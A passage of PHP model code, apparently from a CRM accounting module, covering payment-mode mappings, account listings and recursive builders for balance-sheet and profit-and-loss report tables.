'from_date' => $from_date, 'to_date' => $to_date]; } /** * get journal entry next number * @return integer */ public function get_journal_entry_next_number() { $this->db->select('max(number) as max_number'); $max = $this->db->get(db_prefix().'acc_journal_entries')->row(); if(is_numeric($max->max_number)){ return $max->max_number + 1; } return 1; } /** * add payment mode mapping * @param array $data * @return boolean */ public function add_payment_mode_mapping($data){ if(isset($data['id'])){ unset($data['id']); } $payment_modes = []; if(isset($data['payment_mode'])){ $payment_modes = $data['payment_mode']; unset($data['payment_mode']); } $data_insert = []; foreach ($payment_modes as $value) { $this->db->where('payment_mode_id', $value); $count = $this->db->count_all_results(db_prefix() . 'acc_payment_mode_mappings'); if($count == 0){ $node = []; $node['payment_mode_id'] = $value; $node['payment_account'] = $data['payment_account']; $node['deposit_to'] = $data['deposit_to']; $data_insert[] = $node; } } $affectedRows = $this->db->insert_batch(db_prefix().'acc_payment_mode_mappings', $data_insert); if ($affectedRows > 0) { return true; } return false; } /** * update payment mode mapping * @param array $data * @param integer $id * @return boolean */ public function update_payment_mode_mapping($data, $id){ $this->db->where('id', $id); $this->db->update(db_prefix().'acc_payment_mode_mappings', $data); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * delete payment mode mapping * @param integer $id * @return boolean */ public function delete_payment_mode_mapping($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_payment_mode_mappings'); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * get payment mode are not yet auto * @return array */ public function get_payment_mode_not_yet_auto(){ $this->db->where('((select count(*) from ' . db_prefix() . 'acc_payment_mode_mappings where ' . db_prefix() . 'acc_payment_mode_mappings.payment_mode_id = ' . db_prefix() . 'payment_modes.id) = 0)'); return $this->db->get(db_prefix().'payment_modes')->result_array(); } /** * Gets the payment mode mappings * * @param string $payment_mode_id The payment mode id * * @return object The expense category mapping. */ public function get_payment_mode_mapping($payment_mode_id) { $this->db->where('payment_mode_id', $payment_mode_id); return $this->db->get(db_prefix() . 'acc_payment_mode_mappings')->row(); } /** * Change payment mode mapping active * @param mixed $status status(0/1) */ public function change_active_payment_mode_mapping($status) { $this->db->where('name', 'acc_active_payment_mode_mapping'); $this->db->update(db_prefix() . 'options', [ 'value' => $status, ]); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * Change expense category mapping active * @param mixed $status status(0/1) */ public function change_active_expense_category_mapping($status) { $this->db->where('name', 'acc_active_expense_category_mapping'); $this->db->update(db_prefix() . 'options', [ 'value' => $status, ]); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * get account data tables * @param array $aColumns table columns * @param mixed $sIndexColumn main column in table for bettter performing * @param string $sTable table name * @param array $join join other tables * @param array $where perform where in query * @param array $additionalSelect select additional fields * @param string $sGroupBy group results * @return array */ function get_account_data_tables($aColumns, $sIndexColumn, $sTable, $join = [], $where = [], $additionalSelect = [], $sGroupBy = '', $searchAs = []) { $CI = & get_instance(); $__post = $CI->input->post(); $where = implode(' ', $where); $where = trim($where); if (startsWith($where, 'AND') || startsWith($where, 'OR')) { if (startsWith($where, 'OR')) { $where = substr($where, 2); } else { $where = substr($where, 3); } $this->db->where($where); } if(!$this->input->post('ft_account')){ $this->db->where('(parent_account is null or parent_account = 0)'); } $accounting_method = get_option('acc_accounting_method'); if($accounting_method == 'cash'){ $debit = '(SELECT sum(debit) as debit FROM '.db_prefix().'acc_account_history where (account = '.db_prefix().'acc_accounts.id or parent_account = '.db_prefix().'acc_accounts.id) AND (('.db_prefix().'acc_account_history.rel_type = "invoice" AND '.db_prefix().'acc_account_history.paid = 1) or rel_type != "invoice")) as debit'; $credit = '(SELECT sum(credit) as credit FROM '.db_prefix().'acc_account_history where (account = '.db_prefix().'acc_accounts.id or parent_account = '.db_prefix().'acc_accounts.id) AND (('.db_prefix().'acc_account_history.rel_type = "invoice" AND '.db_prefix().'acc_account_history.paid = 1) or rel_type != "invoice")) as credit'; }else{ $debit = '(SELECT sum(debit) as debit FROM '.db_prefix().'acc_account_history where (account = '.db_prefix().'acc_accounts.id or parent_account = '.db_prefix().'acc_accounts.id)) as debit'; $credit = '(SELECT sum(credit) as credit FROM '.db_prefix().'acc_account_history where (account = '.db_prefix().'acc_accounts.id or parent_account = '.db_prefix().'acc_accounts.id)) as credit'; } $this->db->select('id, number, name, parent_account, account_type_id, account_detail_type_id, balance, key_name, active, number, description, balance_as_of, '.$debit.', '.$credit.', default_account'); $this->db->limit(intval($CI->input->post('length')), intval($CI->input->post('start'))); $this->db->order_by('id', 'desc'); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $rResult = []; foreach ($accounts as $key => $value) { $rResult[] = $value; $rResult = $this->get_recursive_account($rResult, $value['id'], $where, 1); } /* Data set length after filtering */ $sQuery = ' SELECT FOUND_ROWS() '; $_query = $CI->db->query($sQuery)->result_array(); $iFilteredTotal = $_query[0]['FOUND_ROWS()']; /* Total data set length */ $sQuery = ' SELECT COUNT(' . $sTable . '.' . $sIndexColumn . ") FROM $sTable " . ($where != '' ? 'WHERE '.$where : $where); $_query = $CI->db->query($sQuery)->result_array(); $iTotal = $_query[0]['COUNT(' . $sTable . '.' . $sIndexColumn . ')']; /* * Output */ $output = [ 'draw' => $__post['draw'] ? intval($__post['draw']) : 0, 'iTotalRecords' => $iTotal, 'iTotalDisplayRecords' => $iTotal, 'aaData' => [], ]; return [ 'rResult' => $rResult, 'output' => $output, ]; } /** * get recursive account * @param array $accounts * @param integer $account_id * @param string $where * @param integer $number * @return array */ public function get_recursive_account($accounts, $account_id, $where, $number){ $this->db->select('id, number, name, parent_account, account_type_id, account_detail_type_id, balance, key_name, active, number, description, balance_as_of, (SELECT sum(debit) as debit FROM '.db_prefix().'acc_account_history where (account = '.db_prefix().'acc_accounts.id or parent_account = '.db_prefix().'acc_accounts.id)) as debit, (SELECT sum(credit) as credit FROM '.db_prefix().'acc_account_history where (account = '.db_prefix().'acc_accounts.id or parent_account = '.db_prefix().'acc_accounts.id)) as credit, default_account'); if($where != ''){ $this->db->where($where); } $this->db->where('parent_account', $account_id); $this->db->order_by('number,name', 'asc'); $account_list = $this->db->get(db_prefix().'acc_accounts')->result_array(); if($account_list){ foreach ($account_list as $key => $value) { foreach ($accounts as $k => $val) { if($value['id'] == $val['id']){ unset($accounts[$k]); } } $value['level'] = $number; array_push($accounts, $value); $accounts = $this->get_recursive_account($accounts, $value['id'], $where, $number + 1); } } return $accounts; } /** * get data balance sheet comparison recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $last_from_date * @param string $last_to_date * @param string $accounting_method * @return array */ public function get_data_balance_sheet_comparison_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $data_return = []; foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 8 || $account_type_id == 9 || $account_type_id == 10 || $account_type_id == 7 || $account_type_id == 6){ $child_account[] = ['name' => $name, 'amount' => ($credits - $debits), 'py_amount' => ($py_credits - $py_debits), 'child_account' => $this->get_data_balance_sheet_comparison_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'amount' => ($debits - $credits), 'py_amount' => ($py_debits - $py_credits), 'child_account' => $this->get_data_balance_sheet_comparison_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method)]; } } return $child_account; } /** * get html balance sheet comparision * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_balance_sheet_comparision($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $total_py_amount = 0; $data_return['total_amount'] = 0; $data_return['total_py_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $total_py_amount = $val['py_amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> <td class="total_amount"> '.app_format_money($val['py_amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $t_py = $data_return['total_py_amount']; $data_return = $this->get_html_balance_sheet_comparision($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $total_py_amount += $data_return['total_py_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td class="total_amount"> '.app_format_money($total_py_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; $data_return['total_py_amount'] += $t_py; } $data_return['total_amount'] += $val['amount']; $data_return['total_py_amount'] += $val['py_amount']; } return $data_return; } /** * get data balance sheet detail recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_balance_sheet_detail_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $data_return = []; foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 10 || $account_type_id == 8 || $account_type_id == 9 || $account_type_id == 7){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, 'balance' => $balance + $am, ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $this->get_data_balance_sheet_detail_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } return $child_account; } /** * get html balance sheet detail * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_balance_sheet_detail($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $value) { $amount = 0; $data_return['row_index']++; $_parent_index = $data_return['row_index']; if(count($value['details']) > 0 || count($value['child_account']) > 0){ $data_return['html'] .= '<tr class="treegrid-'.$_parent_index.' treegrid-parent-'.$parent_index.' parent-node expanded"> <td class="parent">'.$value['name'].'</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr>'; } foreach ($value['details'] as $val) { $data_return['row_index']++; $amount += $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$_parent_index.'"> <td> '. _d($val['date']).' </td> <td> '. html_entity_decode($val['type']).' </td> <td> '. html_entity_decode($val['description']).' </td> <td class="total_amount"> '. app_format_money($val['debit'], $currency->name).' </td> <td class="total_amount"> '. app_format_money($val['credit'], $currency->name).' </td> <td class="total_amount"> '. app_format_money($val['amount'], $currency->name).' </td> <td class="total_amount"> '. app_format_money($val['balance'], $currency->name).' </td> </tr>'; } $total_amount = $amount; $data_return['row_index']++; if(count($value['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_balance_sheet_detail($value['child_account'], $data_return, $_parent_index, $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= ' <tr class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$parent_index.' tr_total"> <td> '._l('total_for', $value['name']).' </td> <td></td> <td></td> <td></td> <td></td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td></td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $amount; } return $data_return; } /** * get data balance sheet summary recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_balance_sheet_summary_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $data_return = []; foreach ($accounts as $val) { $this->db->where('account', $val['id']); $this->db->select('sum(credit) as credit, sum(debit) as debit'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $node = []; $balance = 0; $amount = 0; $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 8 || $account_type_id == 9 || $account_type_id == 10 || $account_type_id == 7){ $child_account[] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $this->get_data_balance_sheet_summary_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $this->get_data_balance_sheet_summary_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } } return $child_account; } /** * get html balance sheet summary * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_balance_sheet_summary($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_balance_sheet_summary($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data balance sheet summary recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_balance_sheet_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $data_return = []; foreach ($accounts as $val) { $this->db->where('account', $val['id']); $this->db->select('sum(credit) as credit, sum(debit) as debit'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $node = []; $balance = 0; $amount = 0; $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 8 || $account_type_id == 9 || $account_type_id == 10 || $account_type_id == 7 || $account_type_id == 6){ $child_account[] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $this->get_data_balance_sheet_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $this->get_data_balance_sheet_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } } return $child_account; } /** * get html balance sheet * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_balance_sheet($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_balance_sheet($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data custom summary recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_custom_summary_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $data_return = []; foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12){ $child_account[] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $this->get_data_custom_summary_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $this->get_data_custom_summary_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } } return $child_account; } /** * get html custom summary * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_custom_summary($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_custom_summary($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data profit and loss as of total income recursive * @param array $child_account * @param integer $income * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @return array */ public function get_data_profit_and_loss_as_of_total_income_recursive($child_account, $income, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12){ $r_am = $credits - $debits; }else{ $r_am = $debits - $credits; } if($income != 0){ $child_account[] = ['name' => $name, 'amount' => $r_am, 'percent' => round((($r_am) / $income) * 100, 2), 'child_account' => $this->get_data_profit_and_loss_as_of_total_income_recursive([], $income, $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'amount' => $r_am, 'percent' => 0, 'child_account' => $this->get_data_profit_and_loss_as_of_total_income_recursive([], $income, $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } } return $child_account; } /** * get html profit and loss as of total income * @param array $child_account * @param integer $income * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_profit_and_loss_as_of_total_income($child_account, $income, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; $data_return['percent'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> <td class="total_amount"> '. html_entity_decode($val['percent']).'% </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $p = $data_return['percent']; $data_return = $this->get_html_profit_and_loss_as_of_total_income($val['child_account'], $income, $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; if($income != 0){ $percent = round((($total_amount) / $income) * 100, 2); }else{ $percent = 0; } $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td class="total_amount"> '. html_entity_decode($percent).'% </td> </tr>'; $data_return['total_amount'] += $t; $data_return['percent'] += $p; } $data_return['total_amount'] += $val['amount']; $data_return['percent'] += $val['percent']; } return $data_return; } /** * get data profit and loss comparison recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $last_from_date * @param string $last_to_date * @param string $accounting_method * @return array */ public function get_data_profit_and_loss_comparison_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); $data_return = []; foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12){ $child_account[] = ['name' => $name, 'this_year' => $credits - $debits, 'last_year' => $py_credits - $py_debits, 'child_account' => $this->get_data_profit_and_loss_comparison_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'this_year' => $debits - $credits, 'last_year' => $py_debits - $py_credits, 'child_account' => $this->get_data_profit_and_loss_comparison_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method)]; } } return $child_account; } /** * get html profit and loss comparison * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_profit_and_loss_comparison($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $total_py_amount = 0; $data_return['total_amount'] = 0; $data_return['total_py_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['this_year']; $total_py_amount = $val['last_year']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['this_year'], $currency->name).' </td> <td class="total_amount"> '.app_format_money($val['last_year'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $p = $data_return['total_py_amount']; $data_return = $this->get_html_profit_and_loss_comparison($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $total_py_amount += $data_return['total_py_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td class="total_amount"> '.app_format_money($total_py_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; $data_return['total_py_amount'] += $p; } $data_return['total_amount'] += $val['this_year']; $data_return['total_py_amount'] += $val['last_year']; } return $data_return; } /** * get data profit and loss detail recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_profit_and_loss_detail_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($account_type_id == 11 || $account_type_id == 12){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $am, 'balance' => $balance + $am, ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $this->get_data_profit_and_loss_detail_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } return $child_account; } /** * get html profit and loss detail * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_profit_and_loss_detail($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $value) { $amount = 0; $data_return['row_index']++; $_parent_index = $data_return['row_index']; if(count($value['details']) > 0 || count($value['child_account']) > 0){ $data_return['html'] .= '<tr class="treegrid-'.$_parent_index.' treegrid-parent-'.$parent_index.' parent-node expanded"> <td class="parent">'.$value['name'].'</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr>'; } foreach ($value['details'] as $val) { $data_return['row_index']++; $amount += $val['amount']; $data_return['html'] .= '<tr 